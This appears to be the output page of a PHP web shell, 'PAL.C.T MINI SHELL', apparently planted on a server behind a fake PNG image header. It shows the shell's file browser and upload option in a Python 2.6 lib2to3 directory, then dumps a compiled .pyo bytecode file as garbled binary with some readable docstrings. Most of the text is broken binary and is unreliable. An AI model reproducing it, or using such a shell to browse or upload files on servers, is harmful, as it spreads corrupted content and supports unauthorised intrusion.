php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/lib2to3/fixes/
upload
files >> //usr/lib/python2.6/lib2to3/fixes/fix_raise.pyo

Lc@s{dZddklZddklZddklZddklZlZl	Z	l
Z
lZdeifdYZ
dS(	s-Fixer for 'raise E, V, T'

raise         -> raise
raise E       -> raise E
raise E, V    -> raise E(V)
raise E, V, T -> raise E(V).with_traceback(T)

raise (((E, E'), E''), E'''), V -> raise E(V)
raise "foo", V, T               -> warns about string exceptions


CAVEATS:
1) "raise E, V" will be incorrectly translated if V is an exception
   instance. The correct Python 3 idiom is

        raise E from V

   but since we can't detect instance-hood by syntax alone and since
   any client code would have to be changed as well, we don't automate
   this.
i(tpytree(ttoken(t
fixer_base(tNametCalltAttrtArgListtis_tupletFixRaisecBseZdZdZRS(sB
    raise_stmt< 'raise' exc=any [',' val=any [',' tb=any]] >
    c
	Cs|i}|di}|itijo|i|ddSt|o<x,t|o|ididi}qQWd|_nd|jo2t	i
|itd|g}|i|_|S|di}t|o5g}|idd!D]}||iq~}	nd	|_|g}	d
|jo|d
i}
d	|
_t
||	}t|tdt|
gg}t	i
|itdg|}|i|_|St	i
|itdt
||	gd|iSdS(
Ntexcs+Python 3 does not support string exceptionsiit tvaluraiseiuttbuwith_tracebacktprefix(tsymstclonettypeRtSTRINGtcannot_convertRtchildrenR
RtNodet
raise_stmtRRRRtsimple_stmt(
tselftnodetresultsRR	tnewRt_[1]tctargsRtetwith_tb((s-/usr/lib/python2.6/lib2to3/fixes/fix_raise.pyt	transform$s<	



!
5		
	%"(t__name__t
__module__tPATTERNR (((s-/usr/lib/python2.6/lib2to3/fixes/fix_raise.pyRsN(t__doc__tRtpgen2RRt
fixer_utilRRRRRtBaseFixR(((s-/usr/lib/python2.6/lib2to3/fixes/fix_raise.pyt<module>s
(
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`